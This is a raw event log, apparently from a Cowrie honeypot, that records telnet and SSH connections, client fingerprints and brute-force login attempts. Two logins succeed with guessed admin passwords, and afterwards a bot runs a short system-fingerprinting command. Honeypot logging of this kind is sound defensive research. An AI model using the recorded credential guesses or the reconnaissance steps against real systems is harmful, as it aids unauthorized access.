{"eventid":"cowrie.session.connect","src_ip":"172.104.42.161","src_port":44590,"dst_ip":"159.203.135.109","dst_port":23,"session":"e833c6f4f914","protocol":"telnet","message":"New connection: 172.104.42.161:44590 (159.203.135.109:23) [session: e833c6f4f914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:28.614499Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.68.22.252","src_port":58353,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8e5bf41738","protocol":"telnet","message":"New connection: 118.68.22.252:58353 (159.203.135.109:23) [session: ea8e5bf41738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:31.821632Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.169.23.13","src_port":59524,"dst_ip":"159.203.135.109","dst_port":23,"session":"40bc84870e46","protocol":"telnet","message":"New connection: 109.169.23.13:59524 (159.203.135.109:23) [session: 40bc84870e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:39.868037Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.169.23.13","src_port":59600,"dst_ip":"159.203.135.109","dst_port":23,"session":"28e33e07ce6f","protocol":"telnet","message":"New connection: 109.169.23.13:59600 (159.203.135.109:23) [session: 28e33e07ce6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:41.017567Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.53.192.5","src_port":34218,"dst_ip":"159.203.135.109","dst_port":23,"session":"f400075537b0","protocol":"telnet","message":"New connection: 103.53.192.5:34218 (159.203.135.109:23) [session: f400075537b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:45.103628Z"}
{"eventid":"cowrie.session.closed","duration":30.510597467422485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:52.143501Z","src_ip":"103.240.111.46","session":"f97b15322466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.82.176","src_port":48484,"dst_ip":"159.203.135.109","dst_port":23,"session":"634445591709","protocol":"telnet","message":"New connection: 207.148.82.176:48484 (159.203.135.109:23) [session: 634445591709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:52.663614Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.42.161","src_port":36800,"dst_ip":"159.203.135.109","dst_port":23,"session":"6825211ec165","protocol":"telnet","message":"New connection: 172.104.42.161:36800 (159.203.135.109:23) [session: 6825211ec165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:55.685396Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":39202,"dst_ip":"10.17.0.5","dst_port":22,"session":"015a0107c224","protocol":"ssh","message":"New connection: 74.91.200.154:39202 (10.17.0.5:22) [session: 015a0107c224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:58.913275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:58.918814Z","src_ip":"74.91.200.154","session":"015a0107c224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:59.144936Z","src_ip":"74.91.200.154","session":"015a0107c224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54280996322632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:59.157190Z","src_ip":"172.104.42.161","session":"e833c6f4f914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44188,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bccc2c73eeb","protocol":"ssh","message":"New connection: 159.203.92.129:44188 (159.203.135.109:22) [session: 7bccc2c73eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:59.992195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:59.997497Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.044884Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password123456789","message":"login attempt [user/password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.081114Z","src_ip":"74.91.200.154","session":"015a0107c224","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2024","message":"login attempt [admin/admin@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.129001Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.345969Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.350918Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.355597Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.379510Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:00.385962Z","src_ip":"159.203.92.129","session":"7bccc2c73eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:01.327243Z","src_ip":"74.91.200.154","session":"015a0107c224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82909083366394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:10.697000Z","src_ip":"109.169.23.13","session":"40bc84870e46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.125.29","src_port":39970,"dst_ip":"159.203.135.109","dst_port":23,"session":"0db2c36937f6","protocol":"telnet","message":"New connection: 138.252.125.29:39970 (159.203.135.109:23) [session: 0db2c36937f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:10.819472Z"}
{"eventid":"cowrie.session.closed","duration":30.664337635040283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:11.681778Z","src_ip":"109.169.23.13","session":"28e33e07ce6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525888204574585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:15.629402Z","src_ip":"103.53.192.5","session":"f400075537b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.125.29","src_port":39984,"dst_ip":"159.203.135.109","dst_port":23,"session":"e580ef644a8d","protocol":"telnet","message":"New connection: 138.252.125.29:39984 (159.203.135.109:23) [session: e580ef644a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:17.386039Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.125.29","src_port":46026,"dst_ip":"159.203.135.109","dst_port":23,"session":"974bedc9c7cf","protocol":"telnet","message":"New connection: 138.252.125.29:46026 (159.203.135.109:23) [session: 974bedc9c7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:21.357489Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.125.29","src_port":46032,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca81ad9c2a13","protocol":"telnet","message":"New connection: 138.252.125.29:46032 (159.203.135.109:23) [session: ca81ad9c2a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:23.147655Z"}
{"eventid":"cowrie.session.closed","duration":30.51474142074585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:23.178233Z","src_ip":"207.148.82.176","session":"634445591709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45007038116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:26.135318Z","src_ip":"172.104.42.161","session":"6825211ec165","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.123.205.66","src_port":58352,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdda2be5f627","protocol":"telnet","message":"New connection: 38.123.205.66:58352 (159.203.135.109:23) [session: cdda2be5f627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:38.592467Z"}
{"eventid":"cowrie.session.closed","duration":30.90822672843933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:41.727603Z","src_ip":"138.252.125.29","session":"0db2c36937f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54640,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa011d9975e","protocol":"ssh","message":"New connection: 159.203.92.129:54640 (159.203.135.109:22) [session: aaa011d9975e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.700125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.704550Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.708941Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2025","message":"login attempt [admin/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.721058Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.759013Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.762351Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.766985Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.779252Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:44.785078Z","src_ip":"159.203.92.129","session":"aaa011d9975e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.125.29","src_port":43524,"dst_ip":"159.203.135.109","dst_port":23,"session":"edebbb88274e","protocol":"telnet","message":"New connection: 138.252.125.29:43524 (159.203.135.109:23) [session: edebbb88274e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:45.210974Z"}
{"eventid":"cowrie.session.closed","duration":30.3616144657135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:47.747486Z","src_ip":"138.252.125.29","session":"e580ef644a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.370612621307373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:51.727978Z","src_ip":"138.252.125.29","session":"974bedc9c7cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669527769088745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:53.817079Z","src_ip":"138.252.125.29","session":"ca81ad9c2a13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.14.162.74","src_port":39664,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e12283d6d54","protocol":"telnet","message":"New connection: 76.14.162.74:39664 (159.203.135.109:23) [session: 5e12283d6d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:27:59.024248Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":47714,"dst_ip":"10.17.0.5","dst_port":22,"session":"16394ad6bda6","protocol":"ssh","message":"New connection: 74.91.200.154:47714 (10.17.0.5:22) [session: 16394ad6bda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:02.784488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:02.789800Z","src_ip":"74.91.200.154","session":"16394ad6bda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:03.007598Z","src_ip":"74.91.200.154","session":"16394ad6bda6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@111","message":"login attempt [root/test@111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:03.920799Z","src_ip":"74.91.200.154","session":"16394ad6bda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:05.141888Z","src_ip":"74.91.200.154","session":"16394ad6bda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.454646348953247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:09.046994Z","src_ip":"38.123.205.66","session":"cdda2be5f627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.236.64.76","src_port":47706,"dst_ip":"10.17.0.5","dst_port":22,"session":"9121b34af3f4","protocol":"ssh","message":"New connection: 156.236.64.76:47706 (10.17.0.5:22) [session: 9121b34af3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:12.849338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:12.853824Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
